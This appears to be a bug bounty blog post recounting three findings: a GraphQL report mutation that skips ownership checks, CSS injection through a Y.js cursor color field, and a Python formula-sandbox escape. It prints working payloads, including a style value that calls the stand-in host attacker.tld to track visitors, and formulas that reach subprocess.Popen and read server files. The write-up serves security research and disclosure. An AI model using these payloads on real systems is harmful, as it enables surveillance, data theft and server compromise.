I'm always excited to connect with professionals, collaborate on cybersecurity projects, or share insights.

Social Links

Status
Loading...
Bug Bounty

3 Bugs I Found One Hour Before Giving Up

3 Bugs I Found One Hour Before Giving Up

A week on a target. I had tested every endpoint, swapped every parameter, walked every flow. The report I had been writing in my head was still empty. The IDOR tests passed. The CSP headers came back clean. The sandbox held. I was starting to convince myself the application was just hardened.

Then one hour before I would have closed the engagement, the bug showed up. Not from a new payload list. Not from a new tool. From something that had been sitting in front of me the entire week.

This happened to me on three different targets recently. Three completely different platforms. Three completely different bug classes. Every one of them found at the exact moment I was ready to move on.

This article walks through all three. How each application works, what I tested that failed, and the exact path I took to find the bug. The pattern across all three is the part worth taking with you.

Sponsored by OctoBrowser. If you're a bug bounty hunter still juggling incognito windows or logging in and out between roles, OctoBrowser keeps multiple browser profiles open in parallel. Admin, user, attacker. Each profile gets its own cookies, local storage, fingerprint, and proxy. Sessions never bleed across profiles, so testing access control across roles stops being a chore. Use code AMRSEC for four days free on the starter plan.

1st Bug: The Report Generator That Skipped Ownership Checks

The first target was a video streaming service with a creator program. Signing up as a creator gives you a partner dashboard that shows everything about your channel's performance. Views per day, total watch time, ad earnings, revenue per thousand impressions, audience metrics. The kind of data only the creator is supposed to see.

That data is sensitive. For any creator with a real audience, the revenue numbers are competitive intelligence. The platform treats them as private and the dashboard reflects that.

I set up two accounts. An attacker account from a standard free creator signup, and a victim account with real analytics data, real videos, and real revenue history.

The API behind the dashboard is GraphQL. I browsed my own dashboard with my proxy in the middle and watched the requests. Each analytics query carried my creator ID. The server reads that ID, checks it against the authenticated session, and only returns data if the IDs match.

The obvious access control test failed exactly the way I expected. I took the analytics query, swapped my creator ID for the victim's, and sent it.

query getAnalytics {
  creatorAnalytics(creatorId: "VICTIM_ID") {
    views
    revenue
    adEarnings
  }
}

The server responded with access denied. Ownership was checked. The direct read path was locked.

Most hunters stop here. The IDOR test failed. Check the box. Move on. I almost did.

The bug was not in the read path. It was in a different path the developer never thought of as a read path.

Every creator dashboard has a "generate report" feature. You pick the metrics, you pick a date range, and the server builds a CSV file in the background. A few minutes later, a notification appears in the dashboard saying the report is ready and you download the file.

I generated a report for my own channel and watched the mutation go out in my proxy. It takes a creator ID, a date range, and a list of metrics:

mutation generateReport {
  generateAnalyticsReport(
    creatorId: "MY_ID"
    metrics: [VIEWS, REVENUE, AD_PERFORMANCE]
    dateRange: { from: "2026-01-01", to: "2026-05-01" }
  ) {
    status
    reportId
  }
}

I changed the creator ID to the victim's and sent the mutation again. The server responded with status: SUCCESS, report: PROCESSING.

The mutation accepted the request without verifying ownership of that creator ID. A few minutes later, a notification appeared in my own dashboard. The report was ready. I downloaded the CSV. The file contained the victim's daily views, daily revenue, ad earnings, impressions, and audience metrics. Everything the locked read path would have refused to return.

The platform shipped two paths to the same data. The query read it directly and validated ownership before responding. The mutation produced it indirectly through a CSV pipeline and validated nothing.

Creator IDs on this platform are public. They are visible on every channel page. I did not even have to guess. I grabbed the victim's ID from their profile, plugged it into the mutation, and waited for the file.

Broken access control in its cleanest form. The developer handled the read endpoint and forgot that the action endpoint produced the same data through a different route. Any free creator account could pull financial reports for any other creator on the platform.

2nd Bug: CSS Injection Through a Real-Time Cursor

The second target was a collaborative document editor. Think Google Docs as a feature set. You create documents, you share them with teammates, multiple users can be inside the same document at once, and everyone's cursor and edits show up in real time on everyone else's screen.

I spent three days on this target. Every endpoint, every input, every flow. Nothing. The API was hardened. The responses came back with strict Content Security Policy headers. Default source set to none. Image source set to none. By every conventional check, the application was locked down.

On day three, I noticed the thing I should have noticed on day one.

When two people are inside a shared document, each one sees the other's cursor. The cursor has a color. A name floats above it. And it moves in real time as the other person types or scrolls.

I sat on that for a second. If a cursor was moving in real time on the victim's screen, then data was flowing between our two browsers right now. My cursor position was being sent. So was my name. So was my color. That data landed in the victim's browser and got rendered into their DOM. Anywhere data flows across a trust boundary and ends up in the DOM, there is a question to ask. Is it being validated.

The editor uses Y.js for real-time collaboration. Y.js ships with a feature called the awareness protocol. Awareness is how connected clients tell each other "I am here, I am at this position, this is my name, this is my color." Every client publishes a local state object through the WebSocket and every other client receives it.

The receiver takes the color value out of that state and uses it to style the cursor element on screen. The color goes directly into an inline style attribute. No validation. No sanitization. Whatever string is in the color field of the awareness state is what ends up inside background-color: in the victim's DOM.

If my color is #ff0000, the victim's DOM renders background-color: #ff0000. Normal. If my color is red; background-image: url(https://attacker.tld/track), the victim's DOM renders background-color: red; background-image: url(https://attacker.tld/track). The semicolon closes the original property and a new property gets appended.

One detail made this exploitable. The API endpoints have strict CSP. The editor page itself has none. The browser would load my background image without restriction.

To trigger the injection from my side, I had to reach the awareness object. Y.js stores it inside the collaboration provider in React's component tree. I walked the React fiber from the editor element to find it:

const el = document.querySelector('.bn-editor');
const fk = Object.keys(el).find(k => k.startsWith('__reactFiber'));
let cur = el[fk];
let awareness;
for (let i = 0; i < 30; i++) {
  if (!cur) break;
  const p = cur.memoizedProps;
  if (p && p.provider && p.provider.awareness) {
    awareness = p.provider.awareness;
    break;
  }
  cur = cur.return;
}

Once I had the awareness object, setting a malicious color was one call:

awareness.setLocalStateField('user', {
  name: 'Collaborator',
  color: 'red; background-image: url(https://attacker.tld/track)'
});

The cursor element rendered in every other connected client's DOM now pointed at my server. The moment any collaborator opened the document, their browser fetched the URL. My logs returned the victim's IP address, User-Agent, operating system, browser version, referer, and a precise timestamp of when the document was opened.

The victim saw nothing unusual. The cursor rendered. No popup. No redirect. No script execution. CSS did the work.

The impact extends beyond tracking. With CSS injection and no CSP on the editor page, I can use position: fixed, width: 100%, height: 100%, and a background-image to render a full-screen overlay on top of the editor. A fake "session expired" dialog. A fake login form drawn entirely in CSS. Phishing without JavaScript.

I submitted this as medium. The platform's team triaged it up to high. Silent surveillance of who opens specific internal documents at what time is a serious problem for any organization that uses the editor for confidential work.

Three days of testing found nothing. The bug was in the cursor on day one. A color field the developer assumed would always be a hex code from the UI palette, but that anyone on the WebSocket can set to anything.

3rd Bug: A Python Sandbox That Wasn't One

The third target was an online spreadsheet platform. Sign up, create a table, add columns, type data. Like Google Sheets, like Airtable. The interesting part is the formula engine.

Most spreadsheet platforms use Excel syntax. SUM, VLOOKUP, IF with comma-separated arguments. This one did not. The formulas used Python syntax. Column references with a dollar sign. String concatenation with +. Function calls that looked exactly like Python because they were Python.

A formula like $A + " world" takes the value in column A and appends a string. A formula like len("hello") returns 5. These ran on the server. The platform exposed a Python interpreter to every authenticated user, and every formula got evaluated as real Python inside that interpreter.

A platform that runs user-controlled Python on the server has to sandbox the interpreter. Otherwise any free-tier account can read files, write files, import modules, and execute system commands. The platform claimed to have one.

I wanted to know how strong it actually was.

Most testers go straight for the obvious functions. Try open. Try import os. Try exec. If any is blocked, move on to the next. That approach trains the developer to keep adding names to a deny-list. It also misses the real problem.

Python was not designed for adversarial isolation. Every object has a class. Every class has a base. Every base has subclasses. The class hierarchy connects everything to everything. If a developer blocks open but leaves the class hierarchy untouched, a sandboxed user can walk the hierarchy and reach dangerous classes without ever calling a blocked function.

The fastest test I know starts from an empty tuple. I typed it into a formula column:

len(().__class__.__bases__[0].__subclasses__())

Start from a tuple. Access its class. Access the base of the tuple class, which is the root object in Python. Ask for every subclass. Every class loaded in the interpreter, by every imported module, is in that list.

The cell returned 695. Six hundred and ninety-five live classes accessible from a single formula.

Among those classes are dangerous ones. The most useful one for a sandbox escape is subprocess.Popen, the class Python uses to execute system commands. I found it with a list comprehension:

[c for c in ().__class__.__bases__[0].__subclasses__() if 'Popen' in c.__name__]

The cell returned [<class 'subprocess.Popen'>]. The class was reachable without an import, without any blocked function call, through the language's own internals.

At that point, the sandbox was already broken regardless of what else was filtered. On this platform, the obvious things were not filtered either.

type(open).__name__

The cell returned builtin_function_or_method. The open function, the most dangerous builtin for an attacker, was not restricted. Available, unmodified, ready to read or write any file the process could touch.

From there, the demonstrations were short. I read the server hostname with one call:

open('/proc/sys/kernel/hostname').read().strip()

A round-trip file write confirmed write access:

f = open('/tmp/poc.txt', 'w'); f.write('RCE confirmed'); f.close(); open('/tmp/poc.txt').read()

The process information for the interpreter sat in /proc/self/status:

open('/proc/self/status').read()[:200]

That returned the Python version, the PID, and the UID the process ran as. The full filesystem listing required only __import__:

__import__('os').listdir('/')

And the application's own source code sat at a known path:

open('/app/main.py').read()[:300]

Every one of those results rendered in a spreadsheet cell. Hostname. File write. Process info. Filesystem listing. Source code. Subprocess access. A free-tier account, typing into a formula bar, was talking directly to the server's operating system.

This is a class of failure that recurs across the industry. Python sandboxes are notoriously hard to build. The class hierarchy alone breaks most attempts. Block open and an attacker reaches it through __builtins__ on a function's __globals__. Block import and an attacker walks from a tuple to subprocess.Popen through the subclass chain. Block both and an attacker uses getattr with a computed name to reach what the developer forgot.

The only Python sandboxing approach that holds up consistently in production runs the interpreter inside a WebAssembly runtime where the entire process is isolated by the host. Anything less is a deny-list arms race the attacker wins.

I had prepared for a fight with this sandbox. I walked the class hierarchy expecting resistance, expecting blocked paths, expecting errors. I got nothing. The sandbox was a label. Not a boundary.

Conclusion

Every one of these bugs lived behind a check that worked. The analytics query validated ownership exactly as it should. The API endpoints shipped strict Content Security Policy. The spreadsheet platform exposed a sandbox that blocked the most obvious misuse. By every surface-level test, the three applications looked fine.

The bugs were one layer beyond those surface tests. A mutation that took a creator ID and never validated it. A WebSocket field that rendered straight into another user's DOM. A class hierarchy that bypassed every name-based filter the sandbox tried to enforce.

I found all three at the moment I was ready to walk. That timing is not luck. It is what happens when you stay past the obvious tests. The obvious test passing means the developer handled the obvious case. What they did not handle is where the bug lives. The IDOR test passing on the read path tells you nothing about the action path. The CSP holding on the API tells you nothing about the editor page. The sandbox blocking eval tells you nothing about the class hierarchy.

Stay one hour longer. The bug is in the thing you have not thought to test yet.

13 min read
May 11, 2026
By Amr Elsagaei
Share

Leave a comment

Your email address will not be published. Required fields are marked *

Related posts

Apr 27, 2026 • 13 min read
How I Do Recon in 2026?
Apr 16, 2026 • 13 min read
Client Side 02: ServiceWorker Bugs
Apr 10, 2026 • 13 min read
I Let AI Run My Recon Here's What It Found.
Your experience on this site will be improved by allowing cookies. Cookie Policy